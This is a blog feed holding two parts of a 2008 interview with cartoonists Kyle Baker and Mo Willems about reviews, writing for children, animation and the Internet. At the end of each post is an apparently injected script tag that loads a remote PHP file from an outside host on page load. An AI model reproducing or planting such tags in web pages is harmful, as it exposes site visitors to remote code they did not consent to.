In this third part of our interview with artists Kyle Baker and Mo Willems taped during the Brooklyn Book Festival, we discuss writing books for kids, critical feedback, and going out of your way to horribly offend your readership.


[Part One][Part Two]



The classic image of the cartoonist is one that’s very isolated, sitting at his or [...]]]></description>
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<p class="MsoNormal"><a href="http://crosshatch.files.wordpress.com/2008/10/kylebakerkidsinbox.jpg"><img class="alignnone size-full wp-image-1733" title="kylebakerkidsinbox" src="http://crosshatch.files.wordpress.com/2008/10/kylebakerkidsinbox.jpg" alt="" width="411" height="233" /></a></p>
<p class="MsoNormal">In this third part of our interview with artists Kyle Baker and Mo Willems taped during the Brooklyn Book Festival, we discuss writing books for kids, critical feedback, and going out of your way to horribly offend your readership.</p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal">[<a href="http://thedailycrosshatch.com/2008/09/17/1624/" target="_blank">Part One</a>][<a href="http://thedailycrosshatch.com/2008/09/23/interview-kyle-baker-and-mo-willems-pt-2/" target="_blank">Part Two</a>]</p>
<p class="MsoNormal"><span id="more-1730"></span></p>
<p class="MsoNormal">
<p class="MsoNormal">
<p class="MsoNormal"><strong>The classic image of the cartoonist is one that’s very isolated, sitting at his or her drawing board, not talking to anyone. Now that the Internet affords that sense of instant feedback, do you find that you’re influenced by the reactions that people have toward your work?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Mo Willems: </strong>I love bad reviews. I love ‘em. Some kid once said, for one of my animated films that they could make a better film if they stuck a pencil up a monkey’s ass, and let it dance around. I thought about that for a long time, and I thought, “not the soundtrack. My<span> </span>soundtrack would be better.” I love terrible reviews. So, in that sense, yeah, because people can just say whatever they want.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>How does a terrible review affect you, specifically? Are you going to go out and change anything? Are you going to make it even more of that thing that offended them?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Kyle Baker:</strong> I do that! I do, I have a rule. Anything that is complained about repeatedly, I do more. I’m not sure how it’s affected my work. It occurred to me that people only write to complain. One of the reasons I live to come out these sorts of things and book signings is that it’s the only time I actually get to meet people who like what I do. There’s been a couple of times where, if I look on the Internet, I’ll think the book is a disaster, and then I’ll come out on the street, people say, “oh, that’s a great book!” But I’m the same way. If I read your book [<em>points to Willems</em>], I’m only going to write to complain.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> In person though, a lot of people will tell me what my books mean. I tell this story a lot, but the first two reviews I ever got for <em>Don’t Let the Pigeon Drive the Bus</em>, one person said, “I like this book, because it teaches kids the value of ‘no,’ and when to stop, and not to go too far.” And the next one said, “I like this book, because it teaches kids never to give up.” You know, the complete antithesis from each other. I like that. That’s interesting, because I don’t really know what my stuff is, until people tell me.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> One thing I found—I’ve been doing a book called <em>Special Forces</em>, which is about war. That book is designed—because I’m trying to be Joseph Heller—to be offensive. Seriously, there’s a ‘don’t ask, don’t tell’ guy in there. There’s all of these jokes about Iraq and the military, so I’m expecting all of this hate mail, when I’m writing it, and the only negative comment I go from people—and it’s a thoroughly offensive book, there are kids blown up and everything. It’s terrible. I was trying to be like <em>M*A*S*H*</em>, contrasting the violence and the comedy. It’s way over the top, and all anyone complained about is the naked girl, because the girl is in a bikini. Because again, I was trying to offend people. I decided she was going to be more naked on every page, in the next issue.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> It must be hard to fail like that.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> It is. It’s hard to find out what people’s hot buttons are.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW:</strong> You should write yourself an e-mail. ‘Dear Kyle, you’re evil. Love, Kyle. PS, pick up some milk.’</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB:</strong> I got maybe one of the hatemails that I expected.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Kyle, you’ve done some all ages work, too. <em>The Bakers</em> is a family-friendly book.</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB</strong>: Yeah, <em>my </em>family.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>And both of you have also done some adult work at some point some point. Is it difficult, especially initially, to get into that world of writing for kids?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>MW: </strong>I prefer writing for kids. Partially, in a way, because it’s harder, because you don’t have any of those hot buttons to cling to. You’re not going to get a letter from a kid, ‘how dare you do that to a bunny? I love my bunny!’ So you really have to be pure in your comedy and your writing. There are really no cultural modifiers, whatsoever. And I’ve written some adult comics and some adult stuff, and I always fear for getting lazy, because it is easy for me to just sort of follow those paths. That said, I may do more. I’d love to write a memoir called <em>Don’t Tell My Mother I Wrote this Book</em>, but that’ll have to wait a few years.</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>Is it difficult for you, doing <em>The Bakers</em>?</strong></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>KB: </strong>No, no, but I do a lot of stuff for DC Comics. They do <em>Batman </em>and <em>Superman</em> and stuff. They do a lot of things, except they don’t like most stuff. Over the years—again, when I started, we were distributed in 7-11 and it was 50 cents, they always beat us over the head with, “your audience is kids. Don’t make it too hard to read, and make sure there’s lots of action.” My books still look like that today. What’s happened over the years is that DC’s become more of a nostalgia business. My problem now is not writing for kids, it’s ‘how do a write a <em>Superman</em> story for 40-year-old men?’ These last two movies—they made a <em>Superman</em> and <em>Batman</em> movie that I couldn’t take my kids to. That’s the thing I can’t do. “Write me <em>Batman </em>story that’s inappropriate for children. Go!”</p>
<p class="MsoNormal"><em>&#8211;Brian Heater</em></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		</item>
		<item>
		<title>Interview: Kyle Baker and Mo Willems Pt. 2</title>
		<link>http://thedailycrosshatch.com/2008/09/23/interview-kyle-baker-and-mo-willems-pt-2/</link>
		<comments>http://thedailycrosshatch.com/2008/09/23/interview-kyle-baker-and-mo-willems-pt-2/#comments</comments>
		<pubDate>Tue, 23 Sep 2008 13:01:04 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Bugs Bunny]]></category>
		<category><![CDATA[Cartoon Network]]></category>
		<category><![CDATA[Disney]]></category>
		<category><![CDATA[Don't Let the Pigeon Drive the Bus]]></category>
		<category><![CDATA[Kyle Baker]]></category>
		<category><![CDATA[Mo Willems]]></category>
		<category><![CDATA[Nat Turner]]></category>
		<category><![CDATA[Plastic Man]]></category>
		<category><![CDATA[Sesame Street]]></category>
		<category><![CDATA[The Bakers]]></category>
		<category><![CDATA[Warner Bros.]]></category>

		<guid isPermaLink="false">http://crosshatch.wordpress.com/?p=1631</guid>
		<description><![CDATA[
			
				
			
		

This year, at the third annual Brooklyn Book Fair, we had the opportunity to sit down—or, rather, stand up—with two highly regarded representatives on their respective, and sometimes overlapping, fields, for a panel entitled ‘Cartooning Today.’
Kyle Baker is no doubt familiar to most Cross Hatch readers and the multiple Eisner and Harvey Award winning author [...]]]></description>
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<p><a href="http://crosshatch.files.wordpress.com/2008/09/mowillemspigeontrumpet.jpg"><img class="alignnone size-full wp-image-1632" title="mowillemspigeontrumpet" src="http://crosshatch.files.wordpress.com/2008/09/mowillemspigeontrumpet.jpg" alt="" width="300" height="267" /></a></p>
<p>This year, at the third annual Brooklyn Book Fair, we had the opportunity to sit down—or, rather, stand up—with two highly regarded representatives on their respective, and sometimes overlapping, fields, for a panel entitled ‘Cartooning Today.’</p>
<p>Kyle Baker is no doubt familiar to most Cross Hatch readers and the multiple Eisner and Harvey Award winning author of <em>Why I Hate Saturn</em>, <em>Plastic Man</em>, <em>Nat Turner</em>, and <em>Special Forces</em>. Mo Willems’s work tends to skew a bit younger, both as the highly lauded author of such children’s books as <em>Don’t Let the Pigeon Drive the Bus</em> and as a writer for TV shows like <em>Sesame Street</em> and <em>Codename: Kids Next Door</em>.</p>
<p>In this second part of our conversation, we discuss the state of animation, the role of the Internet, and why Warner Bros. wasn’t so keen on naming a character “Afghanistan Sam.”</p>
<p>[<a href="http://thedailycrosshatch.com/2008/09/17/1624/" target="_blank">Part One</a>]</p>
<p><span id="more-1631"></span><br />
<strong>Has the animation industry changed in, say, the past 15 years?</strong></p>
<p><strong>Mo Willems:</strong> Oh, absolutely. You’ve got to remember that cable was as new as the Internet was, maybe five years ago. No one knew what cable was going to be, so they just went in and found young guys in their 20s, and said, “make something.” I didn’t have focus groups and I didn’t have any of that stuff. My series—the two things that I did—were basically pitched in bars. People were like, “yeah, okay, do it.” And it really didn’t matter. You had a lot more leeway, and now there’s all this blah, blah, blah, blah, blah. It’s a lot more difficult. You’ve got to realize that, if I was in TV for the last 15 years, that was 20-percent of the history of television. So it was a really, really new medium, particularly cable. Now they know what they want to do, but they can’t do it. So, yeah, I think the days of creator-driven shows—it’s a lot harder to do it. And if you’ve got a track record, that’s one of the few ways that you’re going to be able to do something.</p>
<p><strong>Do you think it’s more difficult to establish yourself a creator-driven show on cable television, rather than, say, a firmly-established Disney show?</strong></p>
<p><strong>MW: </strong>You know, that’s hard to say. I don’t really know—all I know is that I had more fun, and I certainly got less interference on my failure than I did on my success. The show that I was headwriting, my last show, when we got number one on the network, all hell broke loose. You’d literally have to say “how much more number one than number one do you want to be? You want to be number zero? Because we can figure that out.” But when I was number 18, they’d be like, “oh, did you hand in the script? Oh yeah, approved. Go for it.” I had a lot more fun. I had a lot less people watching, but…</p>
<p><strong>Kyle, can you discuss what you’ve been doing in animation, recently?</strong></p>
<p><strong>KB: </strong>Gosh, I’ve work on a lot of shows. <em>Phineas and Ferb</em> was the last one I worked on. Andre 3000’s Class of 3000—I worked on that. Bugs Bunny, the rotten Brendan Fraser movie—<em>Bugs Bunny and Brendan Fraiser go Treasure Hunting</em>, or whatever it was called.</p>
<p><em>[Laughter]</em></p>
<p><strong>KB:</strong> It was awful!</p>
<p><strong>MW:</strong> That’s a great title! <em>Bugs Bunny and Brendan Fraser Go Treasure Hunting, or Something: The Movie</em>!</p>
<p><strong>KB:</strong> The thing is find about Hollywood is that they change everything. Or, at least in my case, they change everything, so you do your best, and then they go and change everything. And then you complain about how they changed everything, and then the thing’s a hit, so you go, “oh yeah, I wrote <em>Phineas and Ferb</em>,” or whatever. But now I’m actually doing a show for Fox, based on my family, called<em> The Bakers</em>. That’s fun, because if the story is about you and your family, they have no leverage. “We’re not sure about the kid.” “It’s my kid! Sorry.”<br />
<strong><br />
Working on the Bugs Bunny/Brendan Fraser movie, is there something that jumps out in your mind as something that you pitched that they absolutely hated?</strong></p>
<p><strong>KB:</strong> Well, I had a couple of ideas for shorts, because they wanted to bring back the shorts program. Bugs Bunny began as one of those.</p>
<p><strong>The pre-movie cartoons.</strong></p>
<p><strong>KB:</strong> That was the idea, but the exhibitors put up a fight, because Warner Bros. movies tend to be three hours or longer, and they didn’t want to add another ten minutes of free content <em>[laughs]</em>. But the idea that didn’t go anywhere that I really loved, was <em>Wile E. Coyote, Suicide Bomber</em>.</p>
<p><em>[Laughter]</em><br />
<strong><br />
KB: </strong>And the joke was that the bomb would never go off, because he’s Wile E. Coyote.<br />
<strong><br />
It’s not too far removed from an actual Wile E. Coyote cartoon, it’s just the title that’s particularly iffy. </strong></p>
<p><strong>MW: </strong>You put Brendan Fraser in there, and you have a hit. I think that’s what’s missing. The Fraserness of it.<br />
<strong><br />
KB:</strong> What they used to have in Bugs Bunny was topical issues. Bugs Bunny would fight Hitler or something. So the other idea I had was <em>Bugs Bunny Meets Afghanistan Sam, The Roughest, Toughest Cave-dwelling Millionaire, East of the Pecos</em>. That one didn’t go anywhere, either.<br />
<strong><br />
MW:</strong> No Brendan Fraser. That’s the loss there.</p>
<p>I once was asked to pitch something to the networks. I had one a series of shorts about these sort of loser kids, and I came in and met the executive, who was just celebrating her Bat Mitzvah—it was a very exciting time for her—and she was also running a network, and she came up to me and said, “oh, I love your show! It’s one of the reasons I got into television. I watched the show when I was a kid. It was so great, what do you got?” I said, “well, I was actually thinking of updating those characters, making them teenagers, and what not.” And she said, “yeah, I don’t think those characters really work.” And that was the end of it. It was pretty much the last thing I ever pitched. I just started doing books.</p>
<p><strong>I want to take it back to something you touched on, Kyle. The name of the panel is “Cartooning Today.” I think if they had done this panel two years ago, it would have been something along the lines of—</strong></p>
<p><strong>KB:</strong> “Cartooning Two Years Ago?”<br />
<strong><br />
&#8211;“Cartooning after 9/11.” Do you feel that the climate has changed, as far as what you can get away with?</strong></p>
<p><strong>KB:</strong> Uh, I don’t know. I’ve been doing my own stuff, for the last few years, so I can do whatever the heck I want, and I’ve been really pushing it. For the last few years, I was publishing my own books. I find that you can get away with anything, as long as it&#8217;s successful, so I’ve been publishing my own books, proving they work, and then selling them to publishers. Like I did a book called <em>Nat Turner</em>, about the Turner Rebellion, which everyone was saying I could do. Or, even if I did, I was going to have to water it down and make him a little more sympathetic before he chops up a bunch of people with an ax. And I kept saying, “no, I have a concept of how it’s going to work.”</p>
<p>To give an example of what used to happen before I started doing my own books, I pitched a Noah’s Ark movie. It was the easiest pitch I ever did. I said, “Noah’s Ark! And the animals talk and they sing and it’s going to be like a Disney animated thing,” and they said, “terrific!” So I bring in the first draft, and the big note from the studio is, ‘does everyone have to drown?’</p>
<p><em>[Laughter]</em></p>
<p><strong>KB: </strong>And that’s the kind of thing you have to put up with, on a regular basis. So I knew that if I did <em>Nat Turner</em>, there would be this whole thing about how it’s so violent.</p>
<p><strong>MW:</strong> And can he be played by Brendan Fraser?</p>
<p><strong>KB:</strong> Yeah. And now that it’s done and I show it to people—same thing with <em>The Bakers</em>—once I show them the work, it ended up at Fox. It ended up at Fox because they’re the only network that wasn’t trying to turn it into <em>The Simpsons</em>.</p>
<p><strong>MW: </strong>Because they all have that.</p>
<p><strong>KB:</strong> Exactly. They’ve already got that, and if they want another one, they’ll call Matt Groening.</p>
<p><strong>In terms of throwing stuff against the wall and seeing what sticks, the Internet has been a great facilitator. Are you guys using it a lot, as a tool? How has the Web changed your work, and/or the industry?</strong></p>
<p><strong>MW:</strong> You know, what is great is that it’s allowed me to see a lot of people’s work that I wouldn’t have seen. It also allows me to hand in books from my house. There are some very practical things, but I don’t really quite “get” the Web yet. We’ve done some games, based on my characters that the kids can come and visit and stuff like that, but I don’t quite understand it. The thing that I’m doing that I’m really excited about is cartoons on the radio.</p>
<p><strong>For NPR.</strong></p>
<p><strong>MW: </strong>Yeah, and that is very exciting.</p>
<p><strong>KB: </strong>You do sound effects?</p>
<p><strong>MW:</strong> No, I just write. I really think that cartooning on the radio is a new thing, and I’m pushing for that.</p>
<p><strong>It’s kind of a new/old thing. There’s an interesting story about LaGuardia.</strong></p>
<p><strong>MW:</strong> That’s right, LaGuardia during the newspaper strike read all of the comics to the kids on WNYC, and I thought that was a great idea. Now that may come into the Internet in the sense that the radio cartoon is a nice two or three minute podcast. You don’t have to hear it on the radio. You can  carry it with you. But audio is more interesting to me than the Internet. I like how tactile books are. I don’t always want to have to interact with my stories. Sometimes I want people to tell me stories. Sometimes I feel like someone’s not doing they’re job if I have to tell them how to do their stories.</p>
<p><strong>KB: </strong>The thing I like about the Internet is that you can sample stuff for free. If I’ve heard about a musician, I can check out their stuff. So I put all of my work on there. Also because, we were talking about newspapers before, the old model for popularizing a cartoon was like something like <em>Garfield</em> was available virtually for free. For a penny a day, I could read <em>Garfield</em>. So I’m exposed to it constantly, so when I finally see it in the story, I say, “oh! That’s that thing I know all about. I’m going to buy it, because it’s familiar to me.” So I tend to put my stuff on YouTube and all of that stuff, just so people see my stuff and say, “oh, that’s the guy with the funny cartoons. I’ll buy that.”</p>
<p><strong>MW: </strong>But I think you have to be established to a certain degree to do that. If you’re just a kid starting out, and you give all of your stuff away, there’s a question of the value of that stuff. Like I said, the stuff we’ve done on the Web is based specifically on my characters, and it ancillary. I guess it fills that “oh, the pigeon, I can play with the pigeon, and next time I see the pigeon, I’ll be happy about it.” But I don’t quite get it as a medium. I’m old and slow.</p>
<p><strong>In terms of both what [Baker has] been doing on YouTube and [Willems’s] NPR work, what the Internet does seem to afford you is a sense of instant feedback. </strong></p>
<p><strong>MW:</strong> Yeah. In that sense, the Internet and the NPR stuff is interesting, because they post the cartoons without captions, first, and then they just get thousands of submissions about what the caption is. So I guess there is that interactivity. What I don&#8217;t like about the Internet in that sense is that it’s kind of like living in a fishbowl. I don’t mind that, but I also want kind of a firewall. I don’t want people knowing what I had for breakfast.</p>
<p><em>[Continued in Part Three]<br />
</em></p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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